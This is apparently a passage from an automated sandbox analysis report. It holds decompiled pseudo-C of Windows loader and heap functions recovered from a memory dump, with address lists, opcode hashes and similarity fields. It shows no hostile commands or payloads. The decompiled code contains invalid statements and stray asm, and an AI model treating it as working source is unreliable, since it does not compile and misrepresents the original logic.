						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E0571F3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E056FFFB0(_t193, _t235, 0x57d8550);
								L5:
								return E0573D130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E056E1C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x57d7b9c; // 0x0
							_t235 = L05704620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x57d7b10; // 0x0
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E0571A61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E056FFFB0(_t193, _t235, 0x57d8550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L057077F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L057077F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x57d7b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x57d7b10; // 0x0
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E057237C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x57d7b9c; // 0x0
									_t214 = L05704620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E057237F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x57d7b10 =  *0x57d7b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x57d7b04 =  *0x57d7b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L057077F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L057077F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x57d7b08 =  *0x57d7b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E057257C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E0572F3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L057077F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E0571A44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L057077F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E057296C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x056f849b
0x056f849b
0x056f849b
0x056f849b
0x056f849d
0x056f84a2
0x056f84a7
0x056f84b1
0x056f84d8
0x00000000
0x056f84b3
0x056f84c4
0x056f84c9
0x056f84cd
0x056f84cf
0x056f84cf
0x056f84d6
0x056f84e6
0x056f84e9
0x056f84ec
0x056f84ef
0x056f84f2
0x056f84f4
0x056f84fc
0x056f8501
0x056f8506
0x056f8509
0x056f86e0
0x056f86e5
0x056f86e8
0x056f86ed
0x056f86f0
0x056f86f2
0x05749afd
0x05749b02
0x056f84da
0x056f84df
0x056f84df
0x056f86fa
0x056f86fd
0x056f86fe
0x056f8701
0x056f8706
0x056f8709
0x056f870b
0x00000000
0x00000000
0x056f8711
0x056f8725
0x056f8727
0x056f872a
0x056f872c
0x05749af0
0x05749af5
0x056f8732
0x056f8732
0x056f8732
0x056f8735
0x056f8737
0x056f8515
0x056f8515
0x056f8518
0x056f851d
0x056f8523
0x056f8527
0x056f852b
0x056f8537
0x056f8539
0x056f853c
0x056f853e
0x056f868c
0x056f8691
0x056f8699
0x056f869b
0x056f8744
0x056f8748
0x056f86a1
0x056f86a1
0x056f86a1
0x056f86a4
0x056f86a8
0x05749bdf
0x05749bdf
0x056f86ae
0x056f86b0
0x00000000
0x056f86b6
0x00000000
0x05749be9
0x056f86b0
0x056f8544
0x056f854a
0x056f854d
0x056f8551
0x056f876e
0x056f8778
0x056f877b
0x056f8780
0x056f8557
0x056f8557
0x056f855d
0x056f855d
0x056f856b
0x056f856e
0x056f8570
0x056f8573
0x056f8576
0x056f8576
0x056f8579
0x056f857b
0x00000000
0x00000000
0x056f8581
0x056f85a0
0x056f85a2
0x056f85a5
0x056f85a7
0x05749b1b
0x05749b1b
0x056f862e
0x056f862e
0x056f8631
0x056f8631
0x056f8634
0x056f8636
0x056f8669
0x056f8669
0x056f866b
0x05749bbf
0x05749bc4
0x05749bc8
0x05749bce
0x05749bce
0x056f8671
0x056f8671
0x056f8674
0x056f8676
0x05749bae
0x05749bae
0x056f8676
0x056f867c
0x056f867e
0x056f8688
0x056f8688
0x00000000
0x056f867e
0x056f8638
0x056f8638
0x056f863b
0x056f863e
0x056f863f
0x056f8642
0x056f8645
0x056f8648
0x056f864d
0x05749b69
0x05749b6e
0x05749b7b
0x05749b81
0x05749b85
0x05749b89
0x05749ba7
0x05749b8b
0x05749b91
0x05749b9a
0x05749b9f
0x05749b9f
0x056f8788
0x056f878d
0x056f8763
0x056f8763
0x056f8766
0x00000000
0x056f8766
0x05749b70
0x00000000
0x05749b70
0x056f8656
0x056f865a
0x056f865c
0x056f8752
0x056f8756
0x00000000
0x00000000
0x056f875e
0x00000000
0x056f875e
0x056f8662
0x056f8662
0x056f8662
0x056f8666
0x00000000
0x056f8666
0x056f85b7
0x056f85b9
0x056f85bc
0x056f85bf
0x056f85cc
0x056f85d1
0x056f85d4
0x056f85db
0x056f85de
0x056f85e0
0x05749b5f
0x00000000
0x05749b5f
0x056f85e6
0x056f85ea
0x056f86c3
0x056f86c5
0x056f86c8
0x056f86ca
0x05749b16
0x00000000
0x05749b16
0x056f86d6
0x056f85f6
0x056f85f6
0x056f85f9
0x056f8602
0x056f8606
0x056f860a
0x056f860b
0x056f860e
0x056f8611
0x00000000
0x056f8611
0x056f85f3
0x00000000
0x056f85f3
0x056f8619
0x056f861e
0x056f861e
0x056f8621
0x056f8622
0x056f8623
0x056f8625
0x056f862c
0x00000000
0x056f873d
0x00000000
0x056f873d
0x056f8737
0x056f850f
0x056f8512
0x00000000
0x056f8512
0x00000000
0x056f84d6

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c0c191bc0d6a453352c0afccd236705ac06e39b2de728e0501cf34f116c79d9
Instruction ID: bc68ab6d3b67955c832fb32965c733a3703b7e5eef7878702dd7b507baa3d435
Opcode Fuzzy Hash: 0c0c191bc0d6a453352c0afccd236705ac06e39b2de728e0501cf34f116c79d9
Instruction Fuzzy Hash: 5FB16C71F04209DFCB19DF98C988AAEBBB6FF49304F10416AE605AB345DB70A942DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0571513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0571513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x57dd360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E0572D0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E05702280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L05704620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E0572F3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E056FFFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x57db1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E0572B640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x05715142
0x0571514c
0x05715150
0x05715157
0x05715159
0x0571515e
0x05715165
0x05715169
0x0571516c
0x05715172
0x05715176
0x0571517a
0x0571517a
0x0571517a
0x0571517f
0x05756d8b
0x05756d8e
0x05756d91
0x05756d95
0x05756d98
0x05756d9c
0x05756da0
0x05756da3
0x05756da7
0x05756e26
0x05756e26
0x05756e2a
0x057151f9
0x057151f9
0x057151fe
0x05756e33
0x05756e33
0x05756e39
0x05756e3d
0x05756e46
0x05756e50
0x00000000
0x00000000
0x05756e52
0x05756e53
0x05756e56
0x05756e5d
0x00000000
0x00000000
0x00000000
0x05756e5f
0x05756e67
0x05756e77
0x05756e7f
0x05756e80
0x05756e88
0x05756e90
0x05756e9f
0x05756ea5
0x05756ea9
0x05756eb1
0x05756ebf
0x00000000
0x00000000
0x05756ecf
0x05756ed3
0x00000000
0x00000000
0x05756edb
0x05756ede
0x05756ee1
0x05756ee8
0x05756eeb
0x05756eed
0x05756ef0
0x05756ef4
0x05756ef8
0x05756efc
0x00000000
0x00000000
0x05756f0d
0x05756f11
0x05756f32
0x05756f37
0x05756f3b
0x05756f3e
0x05756f41
0x05756f46
0x00000000
0x00000000
0x05756f4c
0x05756f50
0x05756f50
0x05756f54
0x05756f62
0x05756f65
0x05756f6d
0x05756f7b
0x05756f7b
0x05756f93
0x05756f98
0x05756fa0
0x05756fa6
0x05756fb3
0x05756fb6
0x05756fbf
0x05756fc1
0x05756fd5
0x05756fda
0x05756fda
0x05756fdd
0x05756fe2
0x05756fe7
0x05756feb
0x05756fef
0x05756ff3
0x0571520c
0x0571520c
0x0571520f
0x05715215
0x05715234
0x0571523a
0x0571523a
0x05715244
0x05715245
0x05715246
0x05715251
0x05715251
0x05756f13
0x05756f17
0x05756f17
0x05756f18
0x05756f1b
0x05756f1f
0x05756f23
0x00000000
0x05756f28
0x05715204
0x05715204
0x05715208
0x00000000
0x05715208
0x05715185
0x05715188
0x0571518a
0x0571518e
0x05715195
0x05756db1
0x05756db5
0x05756db9
0x0571519b
0x0571519b
0x0571519e
0x057151a7
0x057151a9
0x057151a9
0x057151b5
0x057151b8
0x057151bb
0x057151be
0x057151c1
0x057151c5
0x057151c9
0x057151cd
0x057151cd
0x057151d8
0x057151dc
0x057151e0
0x05756dcc
0x05756dd0
0x05756dd5
0x05756ddd
0x05756de1
0x05756de1
0x05756de5
0x05756deb
0x05756df1
0x05756df7
0x05756dfd
0x05756e01
0x05756e05
0x05756e09
0x05756e0d
0x05756e11
0x05756e11
0x057151eb
0x05756e1a
0x05756e1f
0x05756e21
0x05756e23
0x00000000
0x057151f1
0x057151f1
0x00000000
0x057151f1

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4645ff5aaf096c1b189dd9c73ab9e01e59fae5476511ffedd5bc562e472f7c8
Instruction ID: 1e801727d0b6d64b42aca3eb52957901f202443ddcbabd9053dbb2325dd22db2
Opcode Fuzzy Hash: f4645ff5aaf096c1b189dd9c73ab9e01e59fae5476511ffedd5bc562e472f7c8
Instruction Fuzzy Hash: 23C112B56093808FD354CF28C580A5AFBF1BF88314F544A6EF89A8B352D771E945DB42

Uniqueness

Uniqueness Score: -1.00%

Function 057103E2, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E057103E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x57dd360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E05710548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E0572B640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E056FB02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x57d7c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E05707D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E05707D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E05767016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E05729830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E057669A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x57d7c04 != 0) {
						_t118 = _v12;
						_t120 = E0576A7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x57d7bd8;
						if( *0x57d7bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E057295D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E057299A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E05763540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E056EB1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E0572AAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x57d8474 - 3;
										if( *0x57d8474 != 3) {
											 *0x57d79dc =  *0x57d79dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E05707D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E05707D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E05767016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x57d8708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x57d7b00; // 0x0
							asm("ror esi, cl");
							 *0x57db1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E057295D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E056F7F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x057103f1
0x057103f7
0x057103f9
0x057103fb
0x057103fd
0x05710400
0x0571040a
0x05754c7a
0x05710537
0x05710547
0x05710410
0x05710410
0x05710414
0x05710417
0x0571041a
0x05710421
0x05710424
0x0571042b
0x0571043b
0x0571043e
0x0571043f
0x0571043f
0x05710446
0x05710449
0x0571044c
0x0571044f
0x05710459
0x05754c8d
0x0571045f
0x0571045f
0x0571045f
0x05710467
0x05754c97
0x05754c9d
0x05754ca4
0x05754caa
0x05754caf
0x05754cb1
0x05754cc3
0x05754cb3
0x05754cbc
0x05754cbc
0x05754cc8
0x05754ccb
0x05754cd7
0x05754cda
0x05754cdf
0x05754cdf
0x05754ccb
0x05754ca4
0x0571046d
0x0571046f
0x0571046f
0x05710471
0x05710476
0x0571047a
0x0571047b
0x05710483
0x05710489
0x0571048d
0x00000000
